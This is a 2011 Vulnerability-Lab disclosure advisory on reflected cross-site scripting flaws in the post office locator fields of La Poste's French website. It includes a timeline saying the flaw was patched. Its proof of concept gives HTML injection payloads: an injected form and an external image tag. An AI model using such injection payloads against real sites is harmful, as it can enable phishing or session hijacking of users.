La Poste FR Website - Reflective Cross Site Vulnerabilities

Document Title:
===============
La Poste FR Website - Reflective Cross Site Vulnerabilities



Release Date:
=============
2011-08-28


Vulnerability Laboratory ID (VL-ID):
====================================
255


Product & Service Introduction:
===============================
La Poste is the mail service of France, which also operates postal services in the French Overseas Departments 
of Réunion, Guadeloupe, Martinique and French Guiana, and the territorial collectivities of Saint Pierre and 
Miquelon and Mayotte. It is headquartered in the 15th arrondissement of Paris.

La Poste postage stamps are valid for use in the Overseas Departments, but not in the Territorial Collectivities, 
which issue their own stamps, separate from metropolitan France. It also operates the postal service in Monaco, 
while in Andorra, it operates postal services alongside those of Spain.

In addition to postal services, it also offers banking services (with La Banque Postale) and, via Chronopost, 
courier services. After the government, La Poste is the second biggest employer in France. It also offers webmail, 
providing @laposte.net email addresses and hosts approximately 1.6 million active email accounts.[3]
La Poste owns German parcel delivery company Deutscher Paket Dienst (DPD).

(Copy of the Vendor Website: http://en.wikipedia.org/wiki/La_Poste_%28France%29 )


Abstract Advisory Information:
==============================
Vulnerability-Lab Team (Chokri B.A) discovered multiple refelctive web vulnerability on the La Poste (FR) vendor website.


Vulnerability Disclosure Timeline:
==================================
2011-07-12:	Vendor Notification
2011-08-23:	Vendor Response/Feedback
2011-08-24:	Vendor Fix/Patch
2011-08-25:	Public or Non-Public Disclosure


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
Multiple refelctive cross site vulnerabilities are detected on the LaPoste web service portal. 
The bug allows remote attacker to implement malicious script code on application-side of la poste.
Successful exploitation of the vulnerability allows an attacker to manipulate specific website modules & can 
lead to session hijacking (user/mod/admin).


Vulnerable Module(s):
							[+] commune
							[+] plus proche`

Pictures:
							../1.png


Proof of Concept (PoC):
=======================
The vulnerabilities can be exploited by remote attackers with low user inter action. For demonstration or reproduce ...


"><form action="send.php" method="get">First name: <input type="text" name="fname" /><br />Last name: 
<input type="text" name="lname" /><br /><input type="submit" value="Submit" /></form>


http://www.laposte.fr/Particulier/Utiliser-nos-outils-pratiques/Services-de-localisation/Un-bureau-de-poste
... commune input field
"><img src="http://3.bp.blogspot.com/_3ZIZUOgfeQI/TD9YlJk1J9I/AAAAAAAAAAM/mtvWT2CPXCs/s1600/hi.jpg">


Security Risk:
==============
The security risk of the reflective xss vulnerabilities are estimated as medium.


Credits & Authors:
==================
Vulnerability Research Laboratory - Chokri B.A (Me!ster)


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
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profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases 
or trade with fraud/stolen material.

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